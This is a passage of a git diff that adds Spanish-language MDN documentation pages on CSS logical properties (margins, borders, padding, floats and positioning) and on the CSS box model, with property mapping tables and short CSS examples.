+ <li>{{CSSxRef("border-block-end-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-color")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} palabra clave)</span></li>
+ <li>{{CSSxRef("border-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-start-start-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-start-end-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-end-start-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-end-end-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-style")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} palabra clave)</span></li>
+ <li>{{CSSxRef("border-width")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} palabra clave)</span></li>
+ <li>{{CSSxRef("margin")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} palabra clave)</span></li>
+ <li>{{CSSxRef("margin-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-inline-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} palabra clave)</span></li>
+ <li>{{CSSxRef("padding-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-inline-start")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="Propiedades_para_flotantes_y_posicionamiento">Propiedades para flotantes y posicionamiento</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("clear")}} (<code style="white-space: nowrap;">inline-end</code> {{Experimental_Inline}} y <span style="white-space: nowrap;"><code>inline-start</code> {{Experimental_Inline}} palabras claves)</span></li>
+ <li>{{CSSxRef("float")}} (<code style="white-space: nowrap;">inline-end</code> {{Experimental_Inline}} y <span style="white-space: nowrap;"><code>inline-start</code> {{Experimental_Inline}} palabras claves)</span></li>
+ <li>{{CSSxRef("inset")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-inline-start")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="Otras_propiedades">Otras propiedades</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("caption-side")}} (<code style="white-space: nowrap;">inline-end</code> {{Experimental_Inline}} y <span style="white-space: nowrap;"><code>inline-start</code> {{Experimental_Inline}} palabras claves)</span></li>
+ <li>{{CSSxRef("resize")}} {{Experimental_Inline}} (<code>block</code> {{Experimental_Inline}} y <span style="white-space: nowrap;"><code>inline</code> {{Experimental_Inline}} palabras claves)</span></li>
+ <li>{{CSSxRef("text-align")}} (<code>end</code> {{Experimental_Inline}} y <span style="white-space: nowrap;"><code>start</code> {{Experimental_Inline}} palabras claves)</span></li>
+</ul>
+</div>
+
+<h3 id="Propiedades_obsoletas">Propiedades obsoletas</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("offset-block-end")}} {{Non-standard_Inline}} {{Deprecated_Inline}} <span style="white-space: nowrap;">(ahora {{CSSxRef("inset-block-end")}} {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("offset-block-start")}} {{Non-standard_Inline}} {{Deprecated_Inline}} <span style="white-space: nowrap;">(ahora {{CSSxRef("inset-block-start")}} {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("offset-inline-end")}} {{Non-standard_Inline}} {{Deprecated_Inline}} <span style="white-space: nowrap;">(ahora {{CSSxRef("inset-inline-end")}} {{Experimental_Inline}})</span></li>
+ <li>{{CSSxRef("offset-inline-start")}} {{Non-standard_Inline}} {{Deprecated_Inline}} <span style="white-space: nowrap;">(ahora {{CSSxRef("inset-inline-start")}} {{Experimental_Inline}})</span></li>
+</ul>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Logical_Properties/Basic_concepts">Conceptos básicos de propiedades y valores lógicos</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Logical_Properties/Sizing">Propiedades Lógicas para dimensionamiento</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Logical_Properties/Sizing">Propiedades Lógicas para márgenes, bordes y relleno</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Logical_Properties/Sizing">Propiedades Lógicas para flotantes y posicionamiento</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_los_Navegadores">Compatibilidad en los Navegadores</h2>
+
+<p>En general:</p>
+
+<ul>
+ <li>Firefox tiene soporte para las propiedades asignadas — donde hay una directa asignación desde la versión física a la versión lógica.</li>
+ <li>Chrome, desde la versión 69, tiene soporte para las propiedades asignadas.</li>
+ <li>Edge actualmente no tiene soporte.</li>
+ <li>Firefox 66 introduce soporte para dos valores abreviados.</li>
+</ul>
+
+<p>Mira la página de la propiedad en específico para tener una información más completa sobre su compatibilidad.</p>
diff --git a/files/es/web/css/css_logical_properties/margins_borders_padding/index.html b/files/es/web/css/css_logical_properties/margins_borders_padding/index.html
new file mode 100644
index 0000000000..198bf38300
--- /dev/null
+++ b/files/es/web/css/css_logical_properties/margins_borders_padding/index.html
@@ -0,0 +1,298 @@
+---
+title: 'Propiedades lógicas para márgenes, bordes y rellenos'
+slug: Web/CSS/CSS_Logical_Properties/Margins_borders_padding
+translation_of: Web/CSS/CSS_Logical_Properties/Margins_borders_padding
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">La <a href="https://drafts.csswg.org/css-logical/">especificación de Propiedades y Valores Lógicos</a> define asignaciones relativas al flujo para las diversas propiedades de margen, borde, relleno y sus abreviaturas. En esta guía echamos un vistazo a estos.</p>
+
+<p class="summary">Si ha visto la página principal de <a href="/en-US/docs/Web/CSS/CSS_Logical_Properties">Propiedades y Valores Lógicos de CSS</a>, verá que hay una gran cantidad de propiedades en la lista. Esto se debe principalmente al hecho de que hay cuatro valores a largo plazo para cada margen, borde y lado de relleno, más todos los valores abreviados.</p>
+
+<h2 id="Asignaciones_para_márgenes_bordes_y_rellenos">Asignaciones para márgenes, bordes, y rellenos</h2>
+
+<p>La especificación detalla la asignación para cada valor lógico con una contraparte física. En la tabla de abajo he dado estos valores asignados asumiendo que el modo de escritura ({{cssxref("writing-mode")}}) en uso es <code>horizontal-tb</code> — con una dirección de izquierda a derecha. La dirección en línea por lo tanto va horizontalmente — izquierda a derecha — y {{cssxref("margin-inline-start")}} debería ser quivalente a {{cssxref("margin-left")}}.</p>
+
+<p>Si usaste el modo de escritura <code>horizontal-tb</code> con una dirección del texto de derecha a izquierda, entonces {{cssxref("margin-inline-start")}} debería ser el mismo que {{cssxref("margin-right")}}, y en un modo de escritura vertical esto debería ser el mismo que usar {{cssxref("margin-top")}}.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propiedad Lógica</th>
+   <th scope="col">Propiedad Física</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{cssxref("border-block-end")}}</td>
+   <td>{{cssxref("border-bottom")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-end-color")}}</td>
+   <td>{{cssxref("border-bottom-color")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-end-style")}}</td>
+   <td>{{cssxref("border-bottom-style")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-end-width")}}</td>
+   <td>{{cssxref("border-bottom-width")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-start")}}</td>
+   <td>{{cssxref("border-top")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-start-color")}}</td>
+   <td>{{cssxref("border-top-color")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-start-style")}}</td>
+   <td>{{cssxref("border-top-style")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-start-width")}}</td>
+   <td>{{cssxref("border-top-width")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-end")}}</td>
+   <td>{{cssxref("border-right")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-end-color")}}</td>
+   <td>{{cssxref("border-right-color")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-end-style")}}</td>
+   <td>{{cssxref("border-right-style")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-end-width")}}</td>
+   <td>{{cssxref("border-right-width")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-start")}}</td>
+   <td>{{cssxref("border-left")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-start-color")}}</td>
+   <td>{{cssxref("border-left-color")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-start-style")}}</td>
+   <td>{{cssxref("border-left-style")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-start-width")}}</td>
+   <td>{{cssxref("border-left-width")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-start-start-radius")}}</td>
+   <td>{{cssxref("border-top-left-radius")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-start-end-radius")}}</td>
+   <td>{{cssxref("border-bottom-left-radius")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-end-start-radius")}}</td>
+   <td>{{cssxref("border-top-right-radius")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-end-end-radius")}}</td>
+   <td>{{cssxref("border-bottom-right-radius")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("margin-block-end")}}</td>
+   <td>{{cssxref("margin-bottom")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("margin-block-start")}}</td>
+   <td>{{cssxref("margin-top")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("margin-inline-end")}}</td>
+   <td>{{cssxref("margin-right")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("margin-inline-start")}}</td>
+   <td>{{cssxref("margin-left")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("padding-block-end")}}</td>
+   <td>{{cssxref("padding-bottom")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("padding-block-start")}}</td>
+   <td>{{cssxref("padding-top")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("padding-inline-end")}}</td>
+   <td>{{cssxref("padding-right")}}</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("padding-inline-start")}}</td>
+   <td>{{cssxref("padding-left")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Hay también algunas abreviaciones que han sido posibles porque tenemos la capacidad de apuntar ambos bloques o ambos bordes en línea de la caja simultáneamente. Estas abreviaciones no tienen equivalente físico.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propiedad</th>
+   <th scope="col">Propósito</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{cssxref("border-block")}}</td>
+   <td>Establece {{cssxref("border-color")}}, {{cssxref("border-style")}}, y {{cssxref("border-width")}} para ambos bordes de bloque.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-color")}}</td>
+   <td>Establece  <code>border-color</code> para ambos bordes de bloque.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-style")}}</td>
+   <td>Establece  <code>border-style</code> para ambos bordes de bloque.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-block-width")}}</td>
+   <td>Establece  <code>border-width</code> para ambos bordes de bloque.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline")}}</td>
+   <td>Establece  <code>border-color</code>, <code>-style</code>, y <code>-width</code> para ambos bordes en línea.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-color")}}</td>
+   <td>Establece  <code>border-color</code> para ambos bordes en línea.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-style")}}</td>
+   <td>Establece  <code>border-style</code> para ambos bordes en línea.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("border-inline-width")}}</td>
+   <td>Establece <code>border-width</code> para ambos bordes en línea.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("margin-block")}}</td>
+   <td>Establece todos los {{cssxref("margin")}}s en bloque.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("margin-inline")}}</td>
+   <td>Establece todos los <code>margin</code>s en línea.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("padding-block")}}</td>
+   <td>Establece {{cssxref("padding")}} en bloque.</td>
+  </tr>
+  <tr>
+   <td>{{cssxref("padding-inline")}}</td>
+   <td>Establece el <code>padding</code> en línea.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplo_para_márgenes">Ejemplo para márgenes</h2>
+
+<p>Las propiedades asignadas para márgenes de {{cssxref("margin-inline-start")}}, {{cssxref("margin-inline-end")}}, {{cssxref("margin-block-start")}}, y {{cssxref("margin-inline-end")}} pueden ser usadas en lugar de sus contrapartes físicas.</p>
+
+<p>En el siguiente ejemplo, crearemos dos cajas y agregaremos diferentes tamaños de márgenes a cada borde. Hemos agregado un contenedor con un borde para poder hacer el márgen más notorio.</p>
+
+<p>Una caja usa propiedades físicas y la otra usa propiedades lógicas. Intenta cambiar la propiedad {{cssxref("direction")}} a <code>rtl</code> para hacer que los cuadros se muestren en dirección de derecha a izquierda, los márgenes del primer cuadro permanecerán en el mismo lugar, mientras que los márgenes en la dimensión en línea del segundo cuadro cambiarán.</p>
+
+<p>También puedes intentar cambiar el modo de escritura (<code>writing-mode</code>) de <code>horizontal-tb</code> a <code>vertical-rl</code>. De nuevo, notarás cómo las márgenes permanecen en el mismo lugar de la primera caja, pero cambia para seguir la dirección del texto en el segundo.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/margin-longhands.html", '100%', 700)}}</p>
+
+<h3 id="Abreviaciones_para_márgenes">Abreviaciones para márgenes</h3>
+
+<p>Como ahora podemos apuntar a ambos lados de la caja — ya sea ambos lados en bloque o ambos lados en línea either — hay nuevas abreviaciones disponibles, {{cssxref("margin-inline")}} y {{cssxref("margin-block")}}, que aceptan dos valores. El primer valor se aplicará al comienzo de esta dimensión y la segunda al final. Si tú solo usas un valor, se aplica para ambos.</p>
+
+<p>En un modo de escritura horizontal este CSS aplicaría un margen de 5px arriba de la caja y un margen de 10px abajo.</p>
+
+<pre class="brush: css">.box {
+  margin-block: 5px 10px;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Las propiedades abreviadas <code>margin-inline</code> y <code>margin-block</code> se enviaron en Firefox 66. Como hay nuevas propiedades, mira el soporte en el navegador antes de usarlas.</p>
+</div>
+
+<h2 id="Ejemplos_para_rellenos_(Paddings)">Ejemplos para rellenos (Paddings)</h2>
+
+<p>Las propiedades asignadas para rellenos de {{cssxref("padding-inline-start")}}, {{cssxref("padding-inline-end")}}, {{cssxref("padding-block-start")}}, y {{cssxref("padding-inline-end")}} pueden ser usadas en lugar de sus contrapartes físicas.</p>
+
+<p>En el siguiente ejemplo tenemos dos cajas, una de ellas está usando propiedades de relleno físico y la otra propiedades de relleno lógico. Con un modo de escritura (<code>writing-mode</code>) de <code>horizontal-tb</code>, en ambas cajas aparecerán lo mismo.</p>
+
+<p>Intenta cambiar la propiedad <code>direction</code> a <code>rtl</code> para hacer que las cajas se muestren en dirección de derecha a izquierda, los rellenos del primer cuadro permanecerán en el mismo lugar, mientras que los rellenos en la dimensión en línea del segundo cuadro cambiarán.</p>
+
+<p>También puedes intentar cambiar el modo de escritura (<code>writing-mode</code>) de <code>horizontal-tb</code> a <code>vertical-rl</code>. De nuevo, notarás cómo los rellenos permanecen en el mismo lugar de la primera caja, pero cambia para seguir la dirección del texto en el segundo.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/padding-longhands.html", '100%', 700)}}</p>
+
+<h3 id="Abreviaciones_para_rellenos_(paddings)">Abreviaciones para rellenos (paddings)</h3>
+
+<p>Como con las márgenes, hay dos abreviaciones para rellenos — {{cssxref("padding-inline")}} y {{cssxref("padding-block")}} — que permiten configurar el relleno a las dimenciones de bloque y en línea, respectivamente.</p>
+
+<p>En un modo de escritura horizontal este CSS aplicaría un relleno de 5px arriba de la caja y un relleno de 10px abajo:</p>
+
+<pre class="brush: css">.box {
+  padding-block: 5px 10px;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Las abreviaciones de las propiedades <code>padding-inline</code> y <code>padding-block</code> se enviaron en Firefox 66. Como hay nuevas propiedades, mira el soporte en el navegador antes de usarlas.</p>
+</div>
+
+<h2 id="Ejemplos_para_bordes">Ejemplos para bordes</h2>
+
+<p>Las propiedades del borde son la razón principal por la que las propiedades y valores lógicos parecen tener tantas propiedades, ya que tenemos <em>longhands</em> para el color, el ancho y el estilo del borde en cada lado de una caja, junto con las abreviaciones para establecer los tres a la vez por cada lado. Al igual que con el margen y el relleno, tenemos una versión asignada de cada propiedad física.</p>
+
+<p>El siguiente demo usa algunas <em>longhands </em><span style="font-size: 1rem; letter-spacing: -0.00278rem;">y tres valores de abreviaciones. Como con los otros demos, intenta cambiar la propiedad </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">direction</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> a </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">rtl</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> para que las cajas se muestren en dirección de derecha a izquierda, o cambia el modo de escritura (</span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">writing-mode</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">) de </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">horizontal-tb</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> a </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">vertical-rl</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">.</span></p>
+
+<p>{{EmbedGHLiveSample("css-examples/logical/border-longhands.html", '100%', 700)}}</p>
+
+<h3 id="Nuevas_abreviaciones_para_bordes">Nuevas abreviaciones para bordes</h3>
+
+<p>Hay valores abreviados de dos valores para establecer el ancho, el estilo y el color del bloque o dimensión en línea, y valores abreviados de dos valores para establecer los tres valores en la dimensión de bloque o enlínea. El siguiente código, en un modo de escritura horizontal, le dará un borde sólido verde de 2px en la parte superior e inferior del cuadro, y un borde púrpura de puntos de 4px a la izquierda y la derecha.</p>
+
+<pre class="brush: css">.box {
+  border-block: 2px solid green;
+  border-inline-width: 4px;
+  border-inline-style: dotted;
+  border-inline-color: rebeccapurple;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Estas dos abreviaciones fueron enviadas en Firefox 66, mira el soporte en los navegadores antes de usar estas propiedades ya que puede que en otros navegadores aún no estén implementadas.</p>
+</div>
+
+<h3 id="Flujo_de_propiedades_relativas_del_border-radius">Flujo de propiedades relativas del border-radius</h3>
+
+<p> </p>
+
+<p>La especificación ha agregado recientemente valores relativos al flujo para las longitudes {{cssxref ("border-radius")}}. Estos aún no han sido implementados por ningún navegador. El siguiente ejemplo, en un modo de escritura horizontal, establecería el radio del borde superior derecho en 1em, la parte inferior derecha a 0, la parte inferior izquierda a 20px y la parte superior izquierda a 40px.</p>
+
+<p> </p>
+
+<pre class="brush: css">.box {
+  border-end-start-radius: 1em;
+  border-end-end-radius: 0;
+  border-start-end-radius: 20px;
+  border-start-start-radius: 40px;
+}</pre>
+
+<h2 id="Indicating_logical_values_for_the_4-value_shorthand_syntax">Indicating logical values for the 4-value shorthand syntax</h2>
+
+<p>La especificación hace una sugerencia para los métodos abreviados de cuatro valores, como la propiedad de <code>margin</code>, sin embargo, la decisión final sobre cómo debe indicarse esto aún no se ha resuelto, y se trata en <a href="https://github.com/w3c/csswg-drafts/issues/1282">este issue</a>.</p>
+
+<p>El uso de una abreviatura de cuatro valores, como el margen, el relleno o el borde, utilizará actualmente las versiones físicas, por lo que si es importante seguir el flujo del documento, use las propiedades <em>longhand</em> por el momento.</p>
+
+<p> </p>
diff --git a/files/es/web/css/css_modelo_caja/index.html b/files/es/web/css/css_modelo_caja/index.html
new file mode 100644
index 0000000000..320800f82e
--- /dev/null
+++ b/files/es/web/css/css_modelo_caja/index.html
@@ -0,0 +1,165 @@
+---
+title: Modelo de Caja de CSS
+slug: Web/CSS/CSS_Modelo_Caja
+tags:
+  - CSS
+  - Modelo de Caja CSS
+  - Referencia CSS
+  - Visión general
+translation_of: Web/CSS/CSS_Box_Model
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>El modelo de caja CSS </strong> es un módulo  CSS que define cajas rectangulares, incluyendo sus rellenos y márgenes, que son generadas para los elementos y que se disponen de acuerdo al modelo de formato visual.</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<h3 id="Propiedades">Propiedades</h3>
+
+<h4 id="Propiedades_que_controlan_el_flujo_del_contenido_en_una_caja.">Propiedades que controlan el flujo del contenido en una caja.</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("box-decoration-break")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("overflow")}}</li>
+ <li>{{cssxref("overflow-x")}}</li>
+ <li>{{cssxref("overflow-y")}}</li>
+</ul>
+</div>
+
+<h4 id="Propiedades_que_controlan_el_tamaño_de_una_caja.">Propiedades que controlan el tamaño de una caja.</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("width")}}</li>
+ <li>{{cssxref("max-height")}}</li>
+ <li>{{cssxref("max-width")}}</li>
+ <li>{{cssxref("min-height")}}</li>
+ <li>{{cssxref("min-width")}}</li>
+</ul>
+</div>
+
+<h4 id="Propiedades_que_controlan_los_márgenes_de_una_caja.">Propiedades que controlan los márgenes de una caja.</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+</ul>
+</div>
+
+<h4 id="Propiedades_que_controlan_los_rellenos_de_una_caja">Propiedades que controlan los rellenos de una caja</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("padding")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+</ul>
+</div>
+
+<h4 id="Otras_propiedades">Otras propiedades</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+</ul>
+</div>
+
+<h2 id="Guías_y_Herramientas">Guías y Herramientas</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">Introduction to the CSS box model</a></dt>
+ <dd>Explica uno de los conceptos fundamentales de CSS, el modelo de caja: describe el significado del margen, del relleno, así como de las diferentes zonas de una caja.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Mastering margin collapsing</a></dt>
+ <dd>En determinados casos dos márgenes adyacentes se convierten en uno. Este artículo explica cuando sucede esto y cómo controlarlo.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Box-shadow_generator">Box-shadow generator</a></dt>
+ <dd>Una herramienta interactiva que permite crear sombras y proporciona la síntaxis necesaria para generar dichas sombras usando la propiedad {{cssxref("box-shadow")}}.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box")}}</td>
+   <td>{{Spec2("CSS3 Box")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "box.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/css_modelo_caja/introducción_al_modelo_de_caja_de_css/index.html b/files/es/web/css/css_modelo_caja/introducción_al_modelo_de_caja_de_css/index.html
new file mode 100644
index 0000000000..45571faf77
--- /dev/null
+++ b/files/es/web/css/css_modelo_caja/introducción_al_modelo_de_caja_de_css/index.html
@@ -0,0 +1,66 @@
+---
+title: Introducción al Modelo de Caja de CSS
+slug: Web/CSS/CSS_Modelo_Caja/Introducción_al_modelo_de_caja_de_CSS
+tags:
+  - CSS
+  - Guía
+  - Modelo de Caja
+  - Referencia
+translation_of: Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model
+---
+<div>{{CSSRef}}</div>
+
+<p><span id="result_box" lang="es">Al diseñar un documento, el motor de representación del navegador representa cada elemento como un cuadro rectangular según el estándar</span><span lang="es"><span> <strong>modelo de caja de CSS</strong>.</span> <span>CSS determina el tamaño, la posición y las propiedades (color, fondo, tamaño del borde, etc.) de estos cuadros.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Cada caja se compone de cuatro partes (o áreas), definidas por sus respectivos límites: el <em>límite del contenido</em>, el <em>límite del relleno (padding)</em>, el <em>límite del borde</em> y el <em>límite del margen</em>.</span></span></p>
+
